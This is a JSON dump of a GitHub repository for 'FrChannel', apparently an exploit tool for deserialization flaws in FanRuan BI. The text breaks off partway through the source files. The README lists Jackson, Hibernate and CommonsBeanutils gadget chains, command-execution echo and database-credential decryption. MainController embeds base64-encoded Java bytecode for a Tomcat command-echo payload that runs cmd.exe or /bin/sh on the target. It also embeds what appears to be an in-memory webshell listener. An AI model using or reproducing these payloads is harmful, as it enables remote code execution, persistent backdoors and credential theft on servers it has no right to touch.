[
  {
    "path": "README.md",
    "content": "# 帆软bi反序列漏洞利用工具\n1、新增反序列化利用链\n\n2、新增数据库连接解密功能\n\n3、修复ssl证书问题\n\n![image](https://github.com/user-attachments/assets/0dc731cf-d3a0-4eda-8276-bfbdf3cea365)\n\n![image](https://github.com/user-attachments/assets/c7f3a1f1-0679-4978-9d98-97af4e546781)\n\n\n支持jackson、hibernate、cb反序列化链来进行利用\n![image](https://github.com/7wkajk/Frchannel/assets/76613407/b1caba86-2220-4827-9311-6f1b5573a913)\n## 工具使用\n**dnslog功能**\n![image](https://github.com/7wkajk/Frchannel/assets/76613407/cbfa16a5-422c-4f03-9d61-a52c504bee29)\n![image](https://github.com/7wkajk/Frchannel/assets/76613407/a3dabd83-4893-4ad6-a4c4-858cde5c3d1e)\n\n**命令执行回显**\n![image](https://github.com/7wkajk/Frchannel/assets/76613407/35bdd7e3-d21c-46c7-9a9e-a2809988ad7a)\n\n## 免责声明\n该工具仅用于安全自查检测\n\n由于传播、利用此工具所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。\n\n本人拥有对此工具的修改和解释权。未经网络安全部门及相关部门允许，不得善自使用本工具进行任何攻击活动，不得以任何方式将其用于商业目的。\n\n该工具只授权于企业内部进行问题排查，请勿用于非法用途，请遵守网络安全法，否则后果作者概不负责\n\n如有涉及公司与个人敏感信息，侵权烦请告知，我们会立即删除并致歉。谢谢！所有工具安全性自测！！！\n"
  },
  {
    "path": "pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>com.example</groupId>\n    <artifactId>FrChannel</artifactId>\n    <version>1.0-SNAPSHOT</version>\n    <name>FrChannel</name>\n\n\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <junit.version>5.8.1</junit.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.openjfx</groupId>\n            <artifactId>javafx-controls</artifactId>\n            <version>13.0.2</version>\n        </dependency>\n\n        <dependency>\n            <groupId>javax.servlet</groupId>\n            <artifactId>javax.servlet-api</artifactId>\n            <version>3.1.0</version>\n        </dependency>\n\n        <dependency>\n            <groupId>org.javassist</groupId>\n            <artifactId>javassist</artifactId>\n            <version>3.18.2-GA</version>\n        </dependency>\n\n        <dependency>\n            <groupId>org.apache.httpcomponents</groupId>\n            <artifactId>httpclient</artifactId>\n            <version>4.5.13</version> <!-- 可以根据你需要的版本来指定 -->\n        </dependency>\n\n<!--        <dependency>-->\n<!--            <groupId>org.apache.tomcat</groupId>-->\n<!--            <artifactId>tomcat-catalina</artifactId>-->\n<!--            <version>8.5.72</version>-->\n<!--        </dependency>-->\n\n        <dependency>\n            <groupId>org.openjfx</groupId>\n            <artifactId>javafx-fxml</artifactId>\n            <version>13.0.2</version>\n        </dependency>\n\n        <dependency>\n            <groupId>commons-beanutils</groupId>\n            <artifactId>commons-beanutils</artifactId>\n            <version>1.8.3</version>\n        </dependency>\n\n\n        <dependency>\n            <groupId>org.junit.jupiter</groupId>\n            <artifactId>junit-jupiter-api</artifactId>\n            <version>${junit.version}</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.junit.jupiter</groupId>\n            <artifactId>junit-jupiter-engine</artifactId>\n            <version>${junit.version}</version>\n            <scope>test</scope>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.8.1</version>\n                <configuration>\n                    <source>13</source>\n                    <target>13</target>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.openjfx</groupId>\n                <artifactId>javafx-maven-plugin</artifactId>\n                <version>0.0.8</version>\n                <executions>\n                    <execution>\n                        <!-- Default configuration for running with: mvn clean javafx:run -->\n                        <id>default-cli</id>\n                        <configuration>\n                            <mainClass>com.example.frchannel/com.example.frchannel.HelloApplication</mainClass>\n                            <launcher>app</launcher>\n                            <jlinkZipName>app</jlinkZipName>\n                            <jlinkImageName>app</jlinkImageName>\n                            <noManPages>true</noManPages>\n                            <stripDebug>true</stripDebug>\n                            <noHeaderFiles>true</noHeaderFiles>\n                        </configuration>\n                    </execution>\n                </executions>\n            </plugin>\n        </plugins>\n    </build>\n</project>"
  },
  {
    "path": "src/META-INF/MANIFEST.MF",
    "content": "Manifest-Version: 1.0\nMain-Class: com.example.frchannel.MainApplication\n\n"
  },
  {
    "path": "src/main/java/com/example/frchannel/MainApplication.java",
    "content": "package com.example.frchannel;\n\nimport javafx.application.Application;\nimport javafx.fxml.FXMLLoader;\nimport javafx.scene.Parent;\nimport javafx.scene.Scene;\nimport javafx.stage.Stage;\n\nimport java.io.IOException;\n\npublic class MainApplication extends Application {\n    @Override\n    public void start(Stage stage) throws IOException {\n        FXMLLoader fxmlLoader = new FXMLLoader(MainApplication.class.getResource(\"main.fxml\"));\n        Parent page = fxmlLoader.load(MainApplication.class.getResource(\"main.fxml\"));\n        Scene scene = new Scene(page);\n        stage.setTitle(\"FrChannel v2 by yecp\");\n        stage.setScene(scene);\n        stage.show();\n    }\n\n    public static void main(String[] args) {\n        launch();\n    }\n}"
  },
  {
    "path": "src/main/java/com/example/frchannel/MainController.java",
    "content": "package com.example.frchannel;\n\nimport com.example.frchannel.payload.CommonsBeanutils183;\nimport com.example.frchannel.payload.Hibernate;\nimport com.example.frchannel.payload.JacksonSignedObject;\nimport com.example.frchannel.payload.URLDNS;\nimport javafx.collections.FXCollections;\nimport javafx.collections.ObservableList;\nimport javafx.event.ActionEvent;\nimport javafx.fxml.FXML;\nimport javafx.fxml.Initializable;\nimport javafx.geometry.Insets;\nimport javafx.geometry.Pos;\nimport javafx.scene.control.*;\nimport javafx.scene.layout.GridPane;\nimport javafx.scene.layout.HBox;\nimport javafx.stage.Window;\nimport javafx.util.Pair;\nimport org.apache.http.HttpHost;\n\nimport java.net.URL;\nimport java.util.Base64;\nimport java.util.ResourceBundle;\n\npublic class MainController implements Initializable {\n\n\n    private final String echo = \"yv66vgAAADQBFgoAAgCIBwCJCgANAIoHAIsKAA0AjAoABACNCgCOAI8KAI4AkAgAkQoADQCSCgANAJMIAJQHAJUHAGUJABEAlgoADQCXBwCYCgARAJkKAJoAmwgAnAoADQCdBwCeCACfCACgCgBLAKEKAKIAowoAogCkCAClCgBKAKYHAIAKAKIApwgAqAoALwCpCACqCACrBwCsCACtCACuCACvCACwBwCxCwApALILACkAswgAtAgAtQgAtgcAtwgAuAoALwCNCgAvALkKALoAuwoAvAC9CgAvAL4IAL8KAMAAwQoALwDCCADDCADECADFCADGCADHBwDIBwDJCgA/AMoKAD8AywoAzADNCgA+AM4IAM8KAD4A0AoAPgDRCgAvANIKAEoA0woAFgDUBwDVBwDWAQAFZ2V0RlYBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR2YXI1AQAgTGphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbjsBAAR2YXIwAQASTGphdmEvbGFuZy9PYmplY3Q7AQAEdmFyMQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHZhcjIBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAEdmFyMwEAEUxqYXZhL2xhbmcvQ2xhc3M7AQANU3RhY2tNYXBUYWJsZQcA1wcAlQcAiwEACkV4Y2VwdGlvbnMBAAl3cml0ZUJvZHkBABcoTGphdmEvbGFuZy9PYmplY3Q7W0IpVgEABHZhcjQBAAR2YXI2AQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQACW0IHAIkHAJ4BAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAR0aGlzAQAMTFRvbWNhdEVjaG87AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYBAAV2YXIxNQEAAWMBAAV2YXIxMgEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAV2YXIxNAEABXZhcjEwAQAFdmFyMTEBAAR2YXI5AQABSQEABHZhcjgBABBMamF2YS91dGlsL0xpc3Q7AQASTGphdmEvbGFuZy9UaHJlYWQ7AQABWgEAE1tMamF2YS9sYW5nL1RocmVhZDsHANUHANgHALcHALEHAHYBAApTb3VyY2VGaWxlAQAPVG9tY2F0RWNoby5qYXZhDADZANoBABBqYXZhL2xhbmcvT2JqZWN0DADbANwBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24MAN0A2gwAcQDeBwDXDADfAOAMAOEA4gEAJG9yZy5hcGFjaGUudG9tY2F0LnV0aWwuYnVmLkJ5dGVDaHVuawwA4wDkDADlAOYBAAhzZXRCeXRlcwEAD2phdmEvbGFuZy9DbGFzcwwA5wBaDADoAOkBABFqYXZhL2xhbmcvSW50ZWdlcgwAcQDqBwDrDADsAO0BAAdkb1dyaXRlDADuAOkBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQATamF2YS5uaW8uQnl0ZUJ1ZmZlcgEABHdyYXAMAHEAcgcA2AwA7wDwDADxAPIBAAd0aHJlYWRzDABMAE0MAPMA9AEABGV4ZWMMAPUA9gEABGh0dHABAAZ0YXJnZXQBABJqYXZhL2xhbmcvUnVubmFibGUBAAZ0aGlzJDABAAdoYW5kbGVyAQAGZ2xvYmFsAQAKcHJvY2Vzc29ycwEADmphdmEvdXRpbC9MaXN0DAD3APgMAOEA+QEAA3JlcQEAC2dldFJlc3BvbnNlAQAJZ2V0SGVhZGVyAQAQamF2YS9sYW5nL1N0cmluZwEABUV0YWdzDAD6APsHAPwMAP0BAAcBAQwBAgEDDABxAQQBAAdvcy5uYW1lBwEFDAEGAQcMAQgA9AEABndpbmRvdwEAB2NtZC5leGUBAAIvYwEABy9iaW4vc2gBAAItYwEAEWphdmEvdXRpbC9TY2FubmVyAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyDABxAQkMAQoBCwcBDAwBDQEODABxAQ8BAAJcQQwBEAERDAESAPQMARMBFAwAYABhDAEVAPQBAApUb21jYXRFY2hvAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQAQamF2YS9sYW5nL1RocmVhZAEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA1nZXRTdXBlcmNsYXNzAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEABFRZUEUBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAQoSSlWAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAJZ2V0TWV0aG9kAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAOZ2V0VGhyZWFkR3JvdXABABkoKUxqYXZhL2xhbmcvVGhyZWFkR3JvdXA7AQAHZ2V0TmFtZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBAARzaXplAQADKClJAQAVKEkpTGphdmEvbGFuZy9PYmplY3Q7AQAHaXNFbXB0eQEAAygpWgEAEGphdmEvdXRpbC9CYXNlNjQBAApnZXREZWNvZGVyAQAHRGVjb2RlcgEADElubmVyQ2xhc3NlcwEAHCgpTGphdmEvdXRpbC9CYXNlNjQkRGVjb2RlcjsBABhqYXZhL3V0aWwvQmFzZTY0JERlY29kZXIBAAZkZWNvZGUBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAFKFtCKVYBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvTG93ZXJDYXNlAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEACGdldEJ5dGVzAQAEKClbQgEACmdldE1lc3NhZ2UAIQBKAEsAAAAAAAUACgBMAE0AAgBOAAAA1QADAAUAAAA4AU0qtgABTi0SAqUAFi0rtgADTacADToELbYABU6n/+osxwAMuwAEWSu3AAa/LAS2AAcsKrYACLAAAQANABMAFgAEAAMATwAAADIADAAAAAwAAgAN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\";\n    private final String mem = \"yv66vgAAADEBfQEAGWNoL3Fvcy9sb2diYWNrbnMvSlNPTlV0aWwHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAMZ2V0Q2xhc3NOYW1lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAARDb2RlAQArY29tLmdvb2dsZS5nc28uU2VydmxldFJlcXVlc3RYZWRyeWlMaXN0ZW5lcggACAEAD2dldEJhc2U2NFN0cmluZwEACkV4Y2VwdGlvbnMBABNqYXZhL2lvL0lPRXhjZXB0aW9uBwAMAQAQamF2YS9sYW5nL1N0cmluZwcADgEL1Eg0c0lBQUFBQUFBQUFKVlhlVnhVMXhYK0xqUHdobUUwY1ZBRVRkT29VV0VZR0VXSkN0bEVRWWhBMUxFb0VwTStaaDd3ZEpnM3pudURZaHZUcGpaSjJ6VGRtNmI3a3BTMnNhMjJjVkNweHRnbGJib3Y2Yjd2VGR2LyswK2FmdmU5eHdERElQYjNtM25MdmVkODU5enZMUGUrRi81NzRSS0E5ZmkzUUczTUdJNE1Hc1pnUW9zTW1rWWtxcVZIRXBxMVJ6dVMwVXhydnhaUGorcWR1bWxwU1MydFFBZ3NPYVNPcUpHRW1oeU1iRXVvcHRscHFIRTU1Ukc0V1U0ZGk1Z09SQjdVRkVpeFFNbXRlbEszYmhmd1ZOZjBDSGkzR1hGTjRMcE9QYWwxWjRiN3RmUmV0VC9Ca1dDbkVWTVRQV3BhbCsvdW9OY2EwazJCdXM3L3cvWG1BQlQ0L1BCaW9jQ3k2czZDaTJpV3ZvaVl3Tkk1NWlYSTlSS2tuSEtENUtLNnI2VW1YN2FaYy8wQ1JYMHRBbVZ4YllCcnNzY0pTL0dPanRrS0FWUmhtWVJkTG5COTJuRi9PLzlwWTFTTEM2eHgzSjJMMk5ZUkxXblpycGVic3ljRVZsMkROcGwyN1hZd0xycWEwSTlMeStWVG5yWWVpMmtwU3plU0NsWnk0UzVtTEQyYXNveklOajAxUkhvRWZHbk5UQmxKazFIS2QzcklzbEtSZGw1eTloMUphaW1tWnBxRUZyaHBiaVZiZ3NJZW8vK1FUQlhidFl5bEp5SmRha3FDdUFzUVdEdXZaVnVRT2l2bVpVWkJuY0RxYThKVEVHR3NybTNSQ3RZTDNIajF0U3JZSUxCZ3hqSVZOSElvYXFteHczeHp5MkhSb0diTjlJUThWdGRjTmVwTXVjM1k0a2M5bWdUOFE1ck03bTUxMks2NHFaaEhyYlNlSEtUc3JiaXRGRVZndlpiU1dMc3Ruc3ZMR2JJMWhkVHZ4Tll5cklPc0I4ZFVqNXJJYUFGc2QyQmJtZlg1V2dwMk1KdGlSdEpTOVNSTFovbU1raDFTMDFHNWtHUk1hNjQ1RUVBSDd2S2pIVHNGS2dhblNHNUxHOE01Um5iUG40OE9NL25FelptM0FYU2gyMC8vN3lhRmRnemNKRjQ1aS94WmFSekFidXlSbkVRWnY2a1F0NnZta0IzbTEvalJnNFUrMURMZlV4bTZ2M242K3UvdVA2VEZyT2JaSXpXemh3TG94WUV5M0lJK0gxYjdzSmJOS2VQRGZleWlLYmFlQUZRbkJteFlQaHF5QThNS0toRFpBdFo2QW9oREs4TkdETkRQcmExUkg0YmNwcEhYR2hTd1pzdElVa2ZTdEZTR1RhQm16dXpKYnlzQkpERHN4MkdRMjFmUEVEQlRXb3laSFV0cjFrNXROTW8zQlNtdWhJWmFSaTJOZWVPdHJ1bHJDU0FOVXlhSTVmVGdBb1o3WkdzZjhlTUlqbEpKYms1U3RNT1JOTFZZSnExYm94RWFzVVZIY1Z6Njg3b1ppZXV3b3VCK3h3RzM1NWRYRityM0QrQU5mcHpBRzluSThpWVZ2RWxnNGFTK3MrOElWTTFHeVcxSmI4WkRmcHpFd3pJVnk1MEszZU5XNkxKSk5kMkl0R1FHQnJTMEZuZm1xUGRXdkUxbTRLTXNtc0l5Q2g2ek83b2FsL3V5d09McWd0WDlUcnpMajNmZzNRS0JmdFhVYnRtNFhZdloyM2xGb1FqTGFMd1g3NVBPdnA5Tk8yNjA2VWsxd1JPQjNFcmw1QWZ3aE9UMmd3RXNRWVVVK3pBeko2a2RuY3FjbVg3azh2eWorSmprNGVQRVlpbXJDVlB1endXeWx2M2lrL2lVcFA5SkZtNXVYNk40TWFscjY1bTMyQXEwdXB3VFkvaU05UG16Ym5kM1pydU5hQ1kyMUtacmlmaTBiZlJwSnRxSW1tNmMzUFhtbG0xMkpOZk43TTZ1VFdkdXZYTnJZS3BNRTBsckF3bktSR3c0VjVLYnlxSUNSNWFsYzJncHlETExTUXlqbWxDWkcvWW9UMS96TlArWnBnTTRoL015T2hlNGY4bGVtVWxwNlZqQzdrQmZrYlZ3RWhmendqV2pNcC8xNHhRdVU5ZlVySzJ4bU95aXpsR3crb0FVdUlLditqR09yN0VMRVR4dlo3cGFiL3dHbnBlSzMyVHM2YzN4NHpJajdleE5UNTV4OGs0LzhnRENneG1UMjh3azY0ZDFNMWJmc2pYYU9wbjBhUisrUjR3Qnc5MU5WOC9EMG1RLytBRitLRG40RVd2SXNlOVVvZzgvY1FxNlM3T0dETEorWndHOHZsbDRoZUxnSU5EVVQvRXphZXJuQXBWelNTbjRKWXRJVDQ0WWg3bUdMUVhJN0x0R2ZuK04zL2p4Sy94V1FhWGJLK3ZsUmxmZllqY0tILzdnYkowNTh2NUV1dzRCUHZ5Rkd0ckdSbTFEdzVZQnJiOHh2cVdoc2QrSHY1SGVZWVBIVEMzbXd6K1lBVWN6UTl6US9va1ZMRHN2cUE4UHI5elcrSVVqNU1uRnZtKzM3ejQrS2ZhMWxHK3QxQkM4THcyTjQ3cFE4TzluRVFzRlh6cUxPMExCZjUxRjJ4bE9GY0hQcTZ4b2lxRUNsU2pqVThCUjQzMkJEYzZQQWhkeUZ5V2xiR1dvZGh5TDU4ZGNUcFFiYk13S1I4L0ZsRStMRUNTcWtHM1FSYitOQzVSU3BhRmFUKzJsY2R4d09nZFhZcnQwMHpTbzBoeFVLWTFVMmxDdndvMHVWS090U2VmUDVFR3NuZ1loY2hEY2VBa3VJVlpNUW9nbnFhRnc3a3B0RnMyWHNhNHJISG9HZDV6SHRpS1cxZE5UTDN4b3k2THpDVHdlQ285alYzZjRQUFlLTkhrbjBOTTdqbjFOeFZYRndmMGN2TWVEZlh3OFdKZDd2TGZLNno1N2c2OGxUT3c4QmowSTZ1ZGdOSlZVbFJSUDRFaXZITTRpRTlUSGNTeUwxMCtncURlVXhZTlpQREtPdDFTVmhBajhkb0VzM3BQRjQxbDhLSXVQWlBHSnF1SXNudG8zaHVLbWtqRjR1OC9JQXhBNzFBUldNVGt1NGpMdkhwdVROa1lCcU9ab0NEV29SUVJoYkVJZFQ3VDEyTW0zSG02Zy9XaUFnUTBZNFRub1VSSjdqaElUUEhCZFJET1J0dUE1eGsxeTJpNVBHR2doNHMxa0xvTEh5UFVhMnRtRWg3Q1dOcnhFdlo5V1FpaVdyT2E0ditKeTc4TUZlaENtcjVzNHVnYmVWMmltUkVHUmdub0Y2eFEwS05pbzBMQlFzT28vRUMyOHlkanlsTXJycDZrankyT1ZIZjUyamtncllkRlZHOXgvRHA4TEh1VGxNaHE2eGxEVlhUdnR6ZGZrSFlPSHYvQnBPN2NYWVRFeGx0Q25sUktlM25MTDQ3aEVmWkdya2FpYlJaZU1RWGRkOE1SVHFLaGpma3dRYVVHVHR5NkxTOTFqcjd3VWZoNkJDWnpxWlpFODkyelltOFhYdzFUNDFtbjZ0d0Rsekw1VEx2OE5aQUVzWG40a2tMMGRuTzNnL0YyVTJNbVU3bVJDZDVHYlhXUjBONk1TcGZ4ZW0rdU45S09TLzgvakMxdzFQY0lYY2RwbWN6UE9NQjc4UENkUlg4S1hlZWUzR0o3QldUc1M0UHE4TDBOUk1LN2daTGVDVTZXQmFkUUplWFJ4Ri9zeWd5Z1hPeHI4L2puOHVDc2NmTkY3RVNkN1BjSDJhQmEvQ0RQTCtINmkxMVBMMTk5ZHh1OXp2OU5kd1Q5U2crejgyVU1OQ2d2ZVQxQ3F5VnRGTGg0TS9uVTZVcFYzTGh5N1h0ZlIrOGxzWFVhWGdBTzg5bkgwSHJKeGtPdTlsenpkWjdOeU8yZEttRU12Y0xWRm5ObHFQM2s0WDRkdmt4OHZOWGFRcysvWTFUK2F5OEJSZk5mbWJKUFRKWTdJeEpvaUJmOERQemJydjA4U0FBQT0IABABAAY8aW5pdD4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYMABIAEwoADwAUAQADKClWAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAFwEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEACGxpc3RlbmVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAHY29udGV4dAEACGNvbnRleHRzAQAQTGphdmEvdXRpbC9MaXN0OwEABHRoaXMBABtMY2gvcW9zL2xvZ2JhY2tucy9KU09OVXRpbDsBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQAkTGphdmEvdXRpbC9MaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz47AQAOamF2YS91dGlsL0xpc3QHACQBABJqYXZhL3V0aWwvSXRlcmF0b3IHACYBAA1TdGFja01hcFRhYmxlDAASABYKAAQAKQEACmdldENvbnRleHQBABIoKUxqYXZhL3V0aWwvTGlzdDsMACsALAoAAgAtAQAIaXRlcmF0b3IBABYoKUxqYXZhL3V0aWwvSXRlcmF0b3I7DAAvADALACUAMQEAB2hhc05leHQBAAMoKVoMADMANAsAJwA1AQAEbmV4dAEAFCgpTGphdmEvbGFuZy9PYmplY3Q7DAA3ADgLACcAOQEAC2dldExpc3RlbmVyAQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMADsAPAoAAgA9AQALYWRkTGlzdGVuZXIBACcoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KVYMAD8AQAoAAgBBAQAEa2V5MQEACGNoaWxkcmVuAQATTGphdmEvdXRpbC9IYXNoTWFwOwEAA2tleQEAC2NoaWxkcmVuTWFwAQAGdGhyZWFkAQASTGphdmEvbGFuZy9UaHJlYWQ7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAB3RocmVhZHMBABNbTGphdmEvbGFuZy9UaH